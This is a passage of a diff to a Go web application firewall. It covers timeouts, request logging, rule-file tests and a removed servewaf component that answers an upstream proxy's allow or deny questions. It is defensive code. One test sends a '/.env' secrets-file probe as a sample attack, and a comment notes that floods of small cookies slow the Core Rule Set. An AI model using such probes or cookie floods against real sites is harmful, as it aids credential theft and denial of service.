rq.upstreamRequestTimer = time.AfterFunc(timeout, func() {
rq.requestTimedOut("SWWAF_UPSTREAM_REQUEST_TIMEOUT")
})
}
}
// requestTimedOut is called when limit, SWWAF_CLIENT_REQUEST_TIMEOUT or
// SWWAF_UPSTREAM_REQUEST_TIMEOUT, runs out while the request is still on
// its way to the app. The answer names the side smallwebwaf was waiting
// on at that moment: 408 when it was waiting for the client to send more
// of its body, 504 when it was waiting for the app to be reached or to
// take what it had.
func (rq *request) requestTimedOut(limit string) {
rq.mu.Lock()
defer rq.mu.Unlock()
if rq.timersStopped {
return
}
if rq.body == nil || !rq.body.waiting.Load() {
rq.refuse(refusal{
status: http.StatusGatewayTimeout,
action: requestlog.ActionTimedOut,
limit: limit,
})
return
}
rq.refuse(refusal{
status: http.StatusRequestTimeout,
action: requestlog.ActionTimedOut,
limit: limit,
})
// The transport gives up on the app only once its Read of the
// client's body returns, so that Read is ended now. The lock keeps
// this from reaching the connection after the request is handled.
_ = rq.rc.SetReadDeadline(time.Now())
}
// bodyReceived is called once the client has sent its whole body.
func (rq *request) bodyReceived() {
rq.mu.Lock()
defer rq.mu.Unlock()
stopTimer(rq.clientRequestTimer)
}
// gotConn is called once there is a connection to the app, a new one or
// one kept open from an earlier request.
func (rq *request) gotConn(httptrace.GotConnInfo) {
rq.mu.Lock()
defer rq.mu.Unlock()
rq.connected = time.Now()
}
// gotFirstResponseByte is called once the first byte of the app's answer
// has arrived.
func (rq *request) gotFirstResponseByte() {
rq.mu.Lock()
defer rq.mu.Unlock()
rq.answerStarted = time.Now()
}
// wroteRequest is called once the app has been sent the whole request:
// the request timeouts end and SWWAF_UPSTREAM_RESPONSE_TIMEOUT starts.
func (rq *request) wroteRequest(info httptrace.WroteRequestInfo) {
if info.Err != nil {
return // the transport gives up, or tries again
}
rq.mu.Lock()
defer rq.mu.Unlock()
if rq.timersStopped {
return
}
stopTimer(rq.clientRequestTimer)
stopTimer(rq.upstreamRequestTimer)
rq.requestSent = time.Now()
timeout := rq.h.config.UpstreamResponseTimeout
if timeout > 0 {
rq.upstreamResponseTimer = time.AfterFunc(timeout, rq.responseTimedOut)
}
}
// responseTimedOut is called when SWWAF_UPSTREAM_RESPONSE_TIMEOUT runs out
// before the app has sent its whole answer.
func (rq *request) responseTimedOut() {
rq.mu.Lock()
defer rq.mu.Unlock()
if !rq.timersStopped {
rq.refuse(refusal{
status: http.StatusGatewayTimeout,
action: requestlog.ActionTimedOut,
limit: "SWWAF_UPSTREAM_RESPONSE_TIMEOUT",
})
}
}
// responseReceived is called once the app has sent its whole answer.
func (rq *request) responseReceived() {
rq.complete = true
rq.stopTimers()
}
// startClientResponseTimeout sets SWWAF_CLIENT_RESPONSE_TIMEOUT on the
// connection to the client: the response must reach the client within it
// of the end of the request, or of now if the app answers before it has
// the whole request.
func (rq *request) startClientResponseTimeout() {
timeout := rq.h.config.ClientResponseTimeout
if timeout == 0 {
return
}
from := rq.sentAt()
if from.IsZero() {
from = time.Now()
}
_ = rq.rc.SetWriteDeadline(from.Add(timeout))
}
// sentAt is when the app had been sent the whole request, or zero.
func (rq *request) sentAt() time.Time {
rq.mu.Lock()
defer rq.mu.Unlock()
return rq.requestSent
}
// stopTimers stops the request's timeouts and keeps any from starting
// later: the app's answer is complete, the connection upgraded, or the
// request handled.
func (rq *request) stopTimers() {
rq.mu.Lock()
defer rq.mu.Unlock()
rq.timersStopped = true
stopTimer(rq.clientRequestTimer)
stopTimer(rq.upstreamRequestTimer)
stopTimer(rq.upstreamResponseTimer)
}
// stopTimer stops t, which is nil when its timeout is off.
func stopTimer(t *time.Timer) {
if t != nil {
t.Stop()
}
}
internal/proxy/requestlog_test.go
+117 -24
View File
@@ -2,6 +2,7 @@ package proxy_test
import (
"io"
"maps"
"math"
"net/http"
"reflect"
@@ -41,6 +42,9 @@ func TestLogLineHasEachFieldWhereItApplies(t *testing.T) {
return
}
w.Header().Set("Content-Type", "text/html")
w.Header().Set("Cache-Control", "no-store")
w.Header().Set("Location", "/elsewhere")
w.WriteHeader(http.StatusFound)
_, _ = io.WriteString(w, "moved")
})
@@ -66,7 +70,7 @@ func TestLogLineHasEachFieldWhereItApplies(t *testing.T) {
// A request's log line can come after its answer: each is waited for
// before the next request, so that the lines are in order.
full := out.endedLines(t, 1)[0]
full := out.requestLines(t, 1)[0]
// This one comes from 127.0.0.1, which the rate limits do not count,
// with a body of 4 bytes whose length it does not announce, so that its
@@ -77,7 +81,7 @@ func TestLogLineHasEachFieldWhereItApplies(t *testing.T) {
"Transfer-Encoding: chunked\r\n\r\n4\r\nbody\r\n0\r\n\r\n")
wantStatus(t, readResponse(t, conn), http.StatusNoContent)
bare := out.endedLines(t, 2)[1]
bare := out.requestLines(t, 2)[1]
wantFullLine(t, full)
wantBareLine(t, bare)
@@ -104,23 +108,24 @@ func wantFullLine(t *testing.T, line logLine) {
headers := map[string]string{"accept": "text/html", "x-custom": "one, two"}
want := withTimings(line, requestlog.Line{
Type: requestType, ServeWAFLine: requestlog.ServeWAFLineReport,
Time: line.Time, Instance: instance,
Type: requestType, Time: line.Time, Instance: instance,
ClientIP: ipv6Client, Method: http.MethodPost, Scheme: secure,
Host: appHost, Path: "/full", Protocol: protocol,
Status: http.StatusFound, RequestBytes: 3, ResponseBytes: 5,
RequestID: line.RequestID, PeerIP: localhost,
RequestID: "from-traefik", PeerIP: localhost,
ForwardedFor: "198.51.100.7, " + ipv6Client, ClientGroup: ipv6Group,
ContentType: "application/x-www-form-urlencoded", ContentLength: 3,
RequestHeaders: headers, HasAuthorization: true, HasCookie: true,
ResponseContentType: "text/html", UpstreamStatus: http.StatusFound,
CacheControl: "no-store", Location: "/elsewhere",
Action: requestlog.ActionForward,
// Its 3 bytes in and 5 out, each way counted by default.
Counts: ratelimit.Counts{
Minute: 1, Hour: 1, Day: 1, MinuteBytes: 8, HourBytes: 8, DayBytes: 8,
},
})
if !reflect.DeepEqual(line.Line, want) || line.RequestID == "from-traefik" {
t.Errorf("log line\n%+v\nwant\n%+v, with a new request id", line.Line, want)
if !reflect.DeepEqual(line.Line, want) {
t.Errorf("log line\n%+v\nwant\n%+v", line.Line, want)
}
}
@@ -130,13 +135,12 @@ func wantBareLine(t *testing.T, line logLine) {
t.Helper()
want := withTimings(line, requestlog.Line{
Type: requestType, ServeWAFLine: requestlog.ServeWAFLineReport,
Time: line.Time, Instance: instance,
Type: requestType, Time: line.Time, Instance: instance,
ClientIP: localhost, Method: http.MethodPost, Scheme: plain,
Host: appHost, Path: "/bare", Protocol: protocol,
Status: http.StatusNoContent, RequestBytes: 4, RequestID: line.RequestID,
PeerIP: localhost, ClientGroup: localhost + "/32",
Action: requestlog.ActionForward,
UpstreamStatus: http.StatusNoContent, Action: requestlog.ActionForward,
})
if !reflect.DeepEqual(line.Line, want) || line.RequestID == "" {
t.Errorf("log line\n%+v\nwant\n%+v, with a request id", line.Line, want)
@@ -144,7 +148,8 @@ func wantBareLine(t *testing.T, line logLine) {
for _, name := range []string{
"forwarded_for", "content_type", "content_length", "request_headers",
"has_authorization", "has_cookie", "response_content_type", "counts",
"has_authorization", "has_cookie", "websocket", "response_content_type",
"cache_control", "location", "counts",
} {
_, present := line.fields[name]
if present {
@@ -157,6 +162,8 @@ func wantBareLine(t *testing.T, line logLine) {
func withTimings(line logLine, want requestlog.Line) requestlog.Line {
want.DurationTotal = line.DurationTotal
want.DurationChecks = line.DurationChecks
want.DurationUpstreamConnect = line.DurationUpstreamConnect
want.DurationUpstreamFirstByte = line.DurationUpstreamFirstByte
want.DurationUpstreamTotal = line.DurationUpstreamTotal
return want
@@ -181,7 +188,7 @@ func TestHasAuthorizationAndHasCookieEachComeFromTheirOwnHeader(t *testing.T) {
req.Header.Set(tc.header, "secret")
wantStatus(t, do(t, req), http.StatusOK)
line := out.endedLine(t)
line := out.requestLine(t)
_, otherPresent := line.fields[tc.other]
if line.fields[tc.field] != true || otherPresent {
@@ -192,20 +199,81 @@ func TestHasAuthorizationAndHasCookieEachComeFromTheirOwnHeader(t *testing.T) {
}
}
func TestRequestIDAndSchemeComeOnlyFromATrustedProxy(t *testing.T) {
t.Parallel()
const sentID = "from-traefik"
sent := http.Header{requestIDHeader: {sentID}, forwardedProto: {secure}}
trusted := map[string]string{trustedProxies: trustLocalhost}
for _, tc := range []struct {
name string
env map[string]string
header http.Header
// wantID is the request id logged, "" for a new one.
wantID, wantScheme string
}{
{"a trusted proxy's are kept", trusted, sent, sentID, secure},
{"without them, the id is new and the scheme http", trusted, nil, "", plain},
{"another peer's are replaced", nil, sent, "", plain},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
received := make(chan string, 2)
app := startApp(t, func(_ http.ResponseWriter, r *http.Request) {
received <- r.Header.Get(requestIDHeader)
})
addr, out := startProxy(t, app.URL, tc.env)
// Two requests, so that two new ids can be told apart.
ids := make([]string, 0, 2)
for i := range 2 {
req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
maps.Copy(req.Header, tc.header)
wantStatus(t, do(t, req), http.StatusOK)
line := out.requestLines(t, i+1)[i]
ids = append(ids, line.RequestID)
got := <-received
if line.RequestID != got || line.Scheme != tc.wantScheme {
t.Errorf("log line has request_id %q and scheme %q, and the "+
"app received id %q; want the same id and scheme %q",
line.RequestID, line.Scheme, got, tc.wantScheme)
}
}
switch {
case tc.wantID != "" && (ids[0] != tc.wantID || ids[1] != tc.wantID):
t.Errorf("request ids %q, want %q", ids, tc.wantID)
case tc.wantID == "" && (slices.Contains(ids, sentID) ||
slices.Contains(ids, "") || ids[0] == ids[1]):
t.Errorf("request ids %q, want two new ones", ids)
}
})
}
}
func TestTimingsAreInOrder(t *testing.T) {
t.Parallel()
const denied = "192.0.2.50" // in SWWAF_DENY_NETS
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
// The pause sets the times apart; a hold-up of the test only lengthens
// it.
// The pauses set the times apart; a hold-up of the test only
// lengthens them.
time.Sleep(time.Millisecond)
w.WriteHeader(http.StatusOK)
_ = http.NewResponseController(w).Flush()
time.Sleep(time.Millisecond)
_, _ = io.WriteString(w, "done")
})
addr, out, server := startProxyWithClock(t, app.URL, "", time.Now, map[string]string{
addr, out := startProxy(t, app.URL, map[string]string{
trustedProxies: trustLocalhost,
denyNets: denied,
})
@@ -213,19 +281,20 @@ func TestTimingsAreInOrder(t *testing.T) {
// Each log line is waited for before the next request, so that the
// lines are in order.
wantStatus(t, get(t, addr, "/"), http.StatusOK)
forwarded := out.endedLines(t, 1)[0]
forwarded := out.requestLines(t, 1)[0]
req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
req.Header.Set(forwardedFor, denied)
wantStatus(t, do(t, req), http.StatusForbidden)
refused := out.endedLines(t, 2)[1]
refused := out.requestLines(t, 2)[1]
wantStatus(t, get(t, server.Addr, proxy.HealthPath), http.StatusOK)
health := out.endedLines(t, 3)[2]
wantStatus(t, get(t, addr, proxy.HealthPath), http.StatusOK)
health := out.requestLines(t, 3)[2]
// A request passed to the app has every timing; one refused, none of
// the app's; the health check, which runs no check, only the total.
wantTimings(t, forwarded, "duration_total", "duration_checks",
"duration_upstream_connect", "duration_upstream_first_byte",
"duration_upstream_total")
wantTimings(t, refused, "duration_total", "duration_checks")
wantTimings(t, health, "duration_total")
@@ -238,12 +307,17 @@ func TestTimingsAreInOrder(t *testing.T) {
// exact.
total := microseconds(forwarded.DurationTotal)
checks := microseconds(*forwarded.DurationChecks)
connect := microseconds(*forwarded.DurationUpstreamConnect)
firstByte := microseconds(*forwarded.DurationUpstreamFirstByte)
upstream := microseconds(*forwarded.DurationUpstreamTotal)
// The checks end before the request is handed to the app.
if checks+upstream > total {
t.Errorf("timings in microseconds: total %d, checks %d, upstream total %d",
total, checks, upstream)
// The checks end before the request is handed to the app, and the
// connection comes before the answer, which the app ends after a
// pause.
if checks+upstream > total || connect >= firstByte || firstByte >= upstream {
t.Errorf("timings in microseconds: total %d, checks %d, connect %d, "+
"first byte %d, upstream total %d", total, checks, connect, firstByte,
upstream)
}
if *refused.DurationChecks > refused.DurationTotal {
@@ -276,3 +350,22 @@ func wantTimings(t *testing.T, line logLine, want ...string) {
func microseconds(milliseconds float64) int64 {
return int64(math.Round(milliseconds * 1000))
}
func TestLogsAnUpgradedConnection(t *testing.T) {
t.Parallel()
app := startApp(t, echoAfterUpgrade)
addr, out := startProxy(t, app.URL, nil)
conn := dial(t, addr)
send(t, conn, "GET /socket HTTP/1.1\r\nHost: app\r\n"+
"Connection: Upgrade\r\nUpgrade: websocket\r\n\r\n")
wantStatus(t, readResponse(t, conn), http.StatusSwitchingProtocols)
_ = conn.Close()
line := out.requestLine(t)
if line.fields["websocket"] != true {
t.Errorf("log line has websocket %v, want true", line.fields["websocket"])
}
}
internal/proxy/rulefiles_test.go
+4 -6
View File
@@ -5,7 +5,6 @@ import (
"net/netip"
"os"
"path/filepath"
"reflect"
"slices"
"testing"
"time"
@@ -74,7 +73,7 @@ func TestEachRuleAction(t *testing.T) {
}
got := server.Ledger.Bans(netblock)
if len(got) != 1 || !reflect.DeepEqual(got[0], want) {
if len(got) != 1 || got[0] != want {
t.Fatalf("bans\n%+v\nwant\n%+v", got, want)
}
@@ -185,6 +184,8 @@ func TestObserveModeLogsWhatTheRulesWouldDo(t *testing.T) {
func TestMetricsCountRuleMatchesAndBansForAnAttack(t *testing.T) {
t.Parallel()
const scraper = "192.0.2.200"
s, _, _ := startWithClock(t, "", map[string]string{
rulesDir: writeRules(t, testRules),
metricsToken: token,
@@ -194,7 +195,7 @@ func TestMetricsCountRuleMatchesAndBansForAnAttack(t *testing.T) {
s.request(client, "/.env", http.StatusForbidden, requestlog.ActionBanned)
s.get(client, http.StatusForbidden, requestlog.ActionBanned)
metrics := s.scrape()
metrics := s.scrape(scraper)
wantMetric(t, metrics,
`smallwebwaf_rule_matches_total{action="block",instance="app",rule_id="blocked"}`, 1)
wantMetric(t, metrics,
@@ -202,9 +203,6 @@ func TestMetricsCountRuleMatchesAndBansForAnAttack(t *testing.T) {
wantMetric(t, metrics, `smallwebwaf_rules_loaded{instance="app"}`, 2)
wantMetric(t, metrics, `smallwebwaf_requests_total{action="rule_blocked",`+
`instance="app",status_class="4xx"}`, 1)
wantMetric(t, metrics,
`smallwebwaf_offences_total{instance="app",kind="rule_blocked"}`, 1)
wantMetric(t, metrics, `smallwebwaf_offences_total{instance="app",kind="attack"}`, 1)
wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="attack",instance="app"}`, 1)
wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="limit",instance="app"}`, 0)
wantMetric(t, metrics, `smallwebwaf_permanent_bans{instance="app"}`, 1)
internal/proxy/rules.go
+1 -22
View File
@@ -1,33 +1,12 @@
package proxy
import (
"slices"
"time"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/rules"
)
// trapPath reports whether the request asks for a path in
// SWWAF_TRAP_PATHS: its path as a path rule sees it, without the query,
// as sent or once percent-decoded, is one of them. Such a request is a
// clear sign of attack, as a ban rule's match is: it bans the client's
// netblock, or in observe mode raises the alert for the ban it would have
// made. The ban's notes give the path as sent.
func (rq *request) trapPath(now time.Time) bool {
path := rules.Path(rq.in)
if !slices.Contains(rq.h.config.TrapPaths, path) &&
!slices.Contains(rq.h.config.TrapPaths, rules.DecodeOnce(path)) {
return false
}
rq.attack = true
rq.banForAttack(now, bans.Notes{TrapPath: path})
return true
}
// checkRules checks the request against the rules of the rule files at
// now, notes the ids of those it matches in the log line, and returns the
// action of the rule that refuses it, ActionRuleBlocked for a block rule
@@ -55,7 +34,7 @@ func (rq *request) checkRules(now time.Time) string {
return requestlog.ActionRuleBlocked
case rules.ActionBan:
rq.attack = true
rq.banForAttack(now, bans.Notes{RuleID: last.ID, Target: last.Target})
rq.banForAttack(now, last)
return requestlog.ActionBanned
default:
internal/proxy/servewaf.go
-509
View File
@@ -1,509 +0,0 @@
package proxy
import (
"bytes"
"encoding/json"
"errors"
"fmt"
"io"
"log/slog"
"net/http"
"net/netip"
"strconv"
"strings"
"time"
"unicode/utf8"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// The headers of rproxy's question and of servewaf's answer, as
// "servewaf" in SPEC.md gives them.
const (
// ClientHeader marks a request as rproxy's question, and gives the
// visitor's address.
ClientHeader = "X-Smallwebwaf-Client"
// PeerHeader gives the address of rproxy's own TCP peer.
PeerHeader = "X-Smallwebwaf-Peer"
// ContentLengthHeader gives the body length the visitor announced.
ContentLengthHeader = "X-Smallwebwaf-Content-Length"
// DispositionHeader gives servewaf's answer.
DispositionHeader = "X-Smallwebwaf-Disposition"
)
// The values of DispositionHeader.
const (
// DispositionAllow tells rproxy to pass the request to the app.
DispositionAllow = "allow"
// DispositionDeny tells rproxy to give the visitor the answer's status,
// headers and body.
DispositionDeny = "deny"
// DispositionClose tells rproxy to close the visitor's connection
// without an answer, which SWWAF_BAN_RESPONSE asks for when it is close.
// servewaf closing the question's connection instead would read as
// servewaf being down, and rproxy would then let the request through.
DispositionClose = "close"
)
// ReportPath is where rproxy sends the report of each request servewaf
// answered.
const ReportPath = "/_smallwebwaf/report"
// QuestionBodyMaxBytes is the most of a visitor's body a question carries.
const QuestionBodyMaxBytes = 64 << 10
// The header limits: the most cookies and header fields a request may have
// when the checks reach the Core Rule Set. Real clients never reach them.
const (
maxCookies = 50
maxHeaderFields = 100
)
const (
// maxAwaitingReport is the most answered requests held until their
// reports come. Past it, the request answered longest ago is dropped.
maxAwaitingReport = 10000
// maxRequestIDBytes is the longest id a question may give.
maxRequestIDBytes = 128
// reportBodyMaxBytes is the most of a report's body that is read. It is
// far above any report's.
reportBodyMaxBytes = 1 << 20
// maxHTTPStatus is the highest status a report may give.
maxHTTPStatus = 599
// maxReportedBytes is the most bytes a report may give for each way, 1
// PiB, so that adding them up cannot overflow.
maxReportedBytes = 1 << 50
// maxReportedMilliseconds is the longest duration a report may give,
// about 31 years, so that it fits a time.Duration.
maxReportedMilliseconds = 1e12
// serveWAFTimeout bounds how long a request to servewaf takes to arrive,
// and its answer to leave, and serveWAFIdleTimeout how long a kept-open
// connection waits for its next request.
serveWAFTimeout = 60 * time.Second
serveWAFIdleTimeout = 120 * time.Second
)
var (
errReportFieldMissing = errors.New("a field is missing")
errReportValue = errors.New("a value is out of range")
)
// Report is the JSON object rproxy posts to ReportPath once the visitor's
// answer has ended, its fields named as the request log's of the same
// meaning. RequestID is the question's id. Status is what the visitor got, 0
// if nothing. The durations are in milliseconds.
//
//nolint:tagliatelle // docs/request-log.md names the fields in snake_case
type Report struct {
RequestID string `json:"request_id"`
Status int `json:"status"`
RequestBytes int64 `json:"request_bytes"`
ResponseBytes int64 `json:"response_bytes"`
DurationTotal float64 `json:"duration_total"`
DurationUpstreamTotal float64 `json:"duration_upstream_total"`
}
// NewServeWAF returns the server `smallwebwaf servewaf` runs. It answers
// rproxy's questions, takes rproxy's reports and answers its own endpoints. It
// passes nothing to an app. rproxy applies the size and time limits to the
// visitor. Go's default limit on a request's line and headers, 1 MiB, stays: it
// is far above rproxy's, and a question refused for its size would have rproxy
// let the request through.
func NewServeWAF(params Params) *Server {
h := newHandler(params)
return &Server{
Server: &http.Server{
Addr: params.Config.ListenAddr,
Handler: h,
ErrorLog: slog.NewLogLogger(params.ProcessLog.Handler(), slog.LevelWarn),
ReadTimeout: serveWAFTimeout,
WriteTimeout: serveWAFTimeout,
IdleTimeout: serveWAFIdleTimeout,
},
Ledger: h.ledger,
Limiter: h.limiter,
GeoJS: h.geojs,
Anomalies: h.anomalies,
LookupFile: h.lookupFile,
Lists: h.lists,
DNSBL: h.dnsbl,
AbuseIPDB: h.abuseIPDB,
Metrics: h.metrics,
}
}
// ServeHTTP handles one request to servewaf: a request carrying ClientHeader is
// rproxy's question, and any other is for servewaf itself.
func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
if len(r.Header.Values(ClientHeader)) > 0 {
h.answerQuestion(w, r)
return
}
h.answerOwnEndpoint(w, r)
}
// refusedWhateverTheAnswer reports whether the request is one that does not wait
// for GeoJS, since the checks will refuse it at now whatever GeoJS answers about
// its client: it is over the header limits, a blocklist lists its client while
// SWWAF_BLOCKLIST_ACTION is deny, the CrowdSec decision list lists it, or it is
// over a whole rate limit. In observe mode, which refuses nothing, none is.
// rproxy lets a request through when servewaf answers too late.
func (rq *request) refusedWhateverTheAnswer(now time.Time) bool {
if rq.h.config.Observe {
return false
}
lists := rq.h.lists
_, decided := lists.CrowdSecDecision(rq.client, now)
return decided || rq.overHeaderLimits() ||
(rq.h.config.BlocklistAction == deny && len(lists.ListedBy(rq.client)) > 0) ||
(rq.countedByRateLimits() &&
rq.h.limiter.OverARateLimit(rq.h.clientGroup(rq.client), now))
}
// overHeaderLimits reports whether servewaf refuses the request for its
// headers: it has more than maxHeaderFields fields, each value of a header sent
// twice being one, or more than maxCookies cookies, each part of a Cookie header
// between semicolons being one unless it is empty or only spaces and tabs. The
// Core Rule Set runs each of its rules on each cookie, so that thousands of small
// cookies keep it busy for over a second. It trims only spaces and control
// characters, of which a header value can hold only tabs, so a part of Unicode
// spaces is a cookie to it.
func (rq *request) overHeaderLimits() bool {
fields, cookies := 0, 0
for _, values := range rq.in.Header {
fields += len(values)
}
for _, value := range rq.in.Header.Values("Cookie") {
for part := range strings.SplitSeq(value, ";") {
if strings.Trim(part, " \t") != "" {
cookies++
}
}
}
return fields > maxHeaderFields || cookies > maxCookies
}
// answerQuestion runs the checks on the visitor's request a question
// carries, and answers rproxy what to do with it. A denied request's counting
// is finished here, and an allowed one's by its report.
func (h *handler) answerQuestion(w http.ResponseWriter, r *http.Request) {
client, body, ok := h.readQuestion(w, r)
if !ok {
return
}
// One that cannot be read leaves the log line's peer_ip invalid.
peer, _ := netip.ParseAddr(r.Header.Get(PeerHeader))
rq := h.startRequest(w, asTheVisitorSentIt(r, body), client.Unmap(), peer.Unmap(),
true)
// The last deferred runs first, so that what is held has the finished log
// line. Go's server sends the answer only once this function has
// returned, so the report cannot come before it is held.
defer rq.holdForReport()
defer rq.finish()
rq.site = r.Host
rq.line.ServeWAFLine = requestlog.ServeWAFLineDecision
refused := rq.check(r.Context())
rq.checked = time.Now()
underOwnPrefix := strings.HasPrefix(r.URL.Path, adminPrefix)
if refused == nil && !underOwnPrefix {
// In observe mode, what enforce mode would have refused counts here.
defer rq.countRefusal()
rq.allow()
return
}
// The last deferred runs first: countRefusal before addToHistory, so that a
// broken error burst is in the client's history.
defer rq.addToHistory()
defer rq.countAnomalies()
defer rq.countRefusal()
if refused != nil {
rq.deny(*refused)
return
}
// The app never sees this prefix. servewaf's own endpoints are at its
// own address, so this answers as a path with no endpoint does.
rq.line.Action = requestlog.ActionAdmin
rq.out.Header().Set(DispositionHeader, DispositionDeny)
http.Error(rq.out, http.StatusText(http.StatusNotFound), http.StatusNotFound)
}
// readQuestion returns the visitor's address and the body a question carries,
// and whether servewaf takes the question. It answers a question it does not
// take with 400 and no disposition, which rproxy treats as it treats no
// answer. The id of a question it takes is held from here on, without a
// decision yet, so that another question with that id is refused while this
// one is being handled.
//
// The body is read before any check, since Go's server does not send an answer
// until it has read the body. A question whose body stops arriving gets no
// answer, and is not looked at.
func (h *handler) readQuestion(
w http.ResponseWriter, r *http.Request,
) (netip.Addr, []byte, bool) {
client, err := netip.ParseAddr(r.Header.Get(ClientHeader))
if err != nil || client.Zone() != "" {
h.refuseQuestion(w, ClientHeader+" is not an address without a zone")
return netip.Addr{}, nil, false
}
id := r.Header.Get(requestIDHeader)
if id == "" || len(id) > maxRequestIDBytes || !utf8.ValidString(id) {
h.refuseQuestion(w, requestIDHeader+" is not a valid id")
return netip.Addr{}, nil, false
}
body, err := io.ReadAll(http.MaxBytesReader(w, r.Body, QuestionBodyMaxBytes))
if _, tooLarge := errors.AsType[*http.MaxBytesError](err); tooLarge {
h.refuseQuestion(w, "the body is over 64 KiB")
return netip.Addr{}, nil, false
}
if err != nil {
h.processLog.Warn("a question's body stopped arriving", "error", err.Error())
// This panic has Go's server close the connection without an answer,
// and log nothing.
panic(http.ErrAbortHandler)
}
held, _ := h.awaitingReport.ContainsOrAdd(id, nil)
if held {
h.refuseQuestion(w, requestIDHeader+" is the id of a request servewaf holds")
return netip.Addr{}, nil, false
}
return client, body, true
}
// refuseQuestion answers a question servewaf does not take, for reason.
func (h *handler) refuseQuestion(w http.ResponseWriter, reason string) {
h.processLog.Warn("a question is refused", "reason", reason)
http.Error(w, reason, http.StatusBadRequest)
}
// asTheVisitorSentIt returns a copy of r, a question, as the checks and the
// log line are to see it: without the headers rproxy adds for servewaf, with
// body, which has been read of r, and with the length the visitor announced,
// as -1 when it announced none. The question's own length covers only the part
// of the body it carries.
func asTheVisitorSentIt(r *http.Request, body []byte) *http.Request {
sent := r.Clone(r.Context())
announced := sent.Header.Get(ContentLengthHeader)
sent.Header.Del(ClientHeader)
sent.Header.Del(PeerHeader)
sent.Header.Del(ContentLengthHeader)
sent.Header.Del("Content-Length")
sent.ContentLength = -1
length, err := strconv.ParseInt(announced, 10, 64)
if err == nil && length >= 0 {
sent.ContentLength = length
sent.Header.Set("Content-Length", announced)
}
sent.Body = http.NoBody
if len(body) > 0 {
sent.Body = io.NopCloser(bytes.NewReader(body))
}
return sent
}
// allow answers a question with DispositionAllow and, while
// SWWAF_ADD_LOOKUP_HEADERS is set, the client's AS number and country.
func (rq *request) allow() {
rq.allowed = true
header := rq.out.Header()
header.Set(DispositionHeader, DispositionAllow)
if rq.h.config.AddLookupHeaders {
setLookupHeaders(header, rq.line.ASN, rq.line.Country)
}
rq.out.WriteHeader(http.StatusOK)
}
// holdForReport holds a copy of what the report's steps need, by the request's
// id. A report only ever reaches that copy, never the request being handled.
func (rq *request) holdForReport() {
held := rq.decision
rq.h.awaitingReport.Add(rq.line.RequestID, &held)
}
// deny answers a question with what the visitor is to get for r.
func (rq *request) deny(r refusal) {
rq.refused = &r
if r.status == 0 {
// SWWAF_BAN_RESPONSE is close. Written past rq.out, since the log line's
// status stays 0: the visitor is sent nothing.
rq.out.Header().Set(DispositionHeader, DispositionClose)
rq.out.ResponseWriter.WriteHeader(http.StatusOK)
return
}
rq.out.Header().Set(DispositionHeader, DispositionDeny)
http.Error(rq.out, http.StatusText(r.status), r.status)
}
// answerOwnEndpoint answers a request to servewaf's own address. No check
// runs on it: the address is on the private network, where the peers are
// rproxy and the admin's tools, not visitors.
func (h *handler) answerOwnEndpoint(w http.ResponseWriter, r *http.Request) {
if r.Method == http.MethodPost && r.URL.Path == ReportPath {
h.takeReport(w, r)
return
}
peer := peerAddress(r)
rq := h.startRequest(w, r, peer, peer, false)
defer rq.finish()
if r.Method == http.MethodGet && r.URL.Path == HealthPath {
rq.answerHealth()
return
}
rq.answerAdmin()
}
// takeReport answers POST ReportPath: it finishes the request the report
// names, if it holds that request's decision, and ignores the report
// otherwise.
func (h *handler) takeReport(w http.ResponseWriter, r *http.Request) {
report, err := readReport(w, r)
if err != nil {
h.processLog.Warn("a report is refused", "error", err.Error())
http.Error(w, "the body is not a report", http.StatusBadRequest)
return
}
held, found := h.awaitingReport.Peek(report.RequestID)
// Remove reports true to one report only, of several that name the id. A
// question still being handled is held as nil.
if found && held != nil && h.awaitingReport.Remove(report.RequestID) {
h.finishWith(held, report)
}
w.WriteHeader(http.StatusNoContent)
}
// readReport reads a report from r's body, which must be one JSON object with
// all of Report's fields, in the ranges SPEC.md gives.
func readReport(w http.ResponseWriter, r *http.Request) (Report, error) {
var report Report
body, err := io.ReadAll(http.MaxBytesReader(w, r.Body, reportBodyMaxBytes))
if err != nil {
return report, fmt.Errorf("read the body: %w", err)
}
var fields map[string]json.RawMessage
err = json.Unmarshal(body, &fields)
if err != nil {
return report, fmt.Errorf("decode the body: %w", err)
}
for _, name := range []string{
"request_id", "status", "request_bytes", "response_bytes",
"duration_total", "duration_upstream_total",
} {
value, there := fields[name]
if !there || string(value) == "null" {
return report, fmt.Errorf("%w: %s", errReportFieldMissing, name)
}
}
err = json.Unmarshal(body, &report)
if err != nil {
return report, fmt.Errorf("decode the body: %w", err)
}
return report, report.checkRanges()
}
// checkRanges returns an error for a value of the report that cannot be true.
func (report *Report) checkRanges() error {
switch {
case report.Status != 0 &&
(report.Status < http.StatusContinue || report.Status > maxHTTPStatus):
return fmt.Errorf("%w: status", errReportValue)
case report.RequestBytes < 0 || report.RequestBytes > maxReportedBytes:
return fmt.Errorf("%w: request_bytes", errReportValue)
case report.ResponseBytes < 0 || report.ResponseBytes > maxReportedBytes:
return fmt.Errorf("%w: response_bytes", errReportValue)
case report.DurationTotal < 0 || report.DurationTotal > maxReportedMilliseconds:
return fmt.Errorf("%w: duration_total", errReportValue)
case report.DurationUpstreamTotal < 0 ||
report.DurationUpstreamTotal > maxReportedMilliseconds:
return fmt.Errorf("%w: duration_upstream_total", errReportValue)
}
return nil
}
// finishWith finishes a request with what its report says, and writes the
// request's last log line, which holds its decision's fields and the report's.
// For an allowed request it first counts the request's bytes, and adds it to its
// client's history, the anomaly counters and the metrics, with the status and
// bytes the report gives. A denied request's counting was finished at its
// decision.
func (h *handler) finishWith(held *decision, report Report) {
rq := &request{
decision: *held,
h: h,
out: &responseWriter{status: report.Status, bytes: report.ResponseBytes},
requestBytes: report.RequestBytes,
}
rq.line.ServeWAFLine = requestlog.ServeWAFLineReport
rq.line.Status = report.Status
rq.line.RequestBytes = report.RequestBytes
rq.line.ResponseBytes = report.ResponseBytes
rq.line.DurationTotal = report.DurationTotal
if rq.allowed {
rq.line.DurationUpstreamTotal = &report.DurationUpstreamTotal
rq.countBytes()
rq.countAnomalies()
rq.addToHistory()
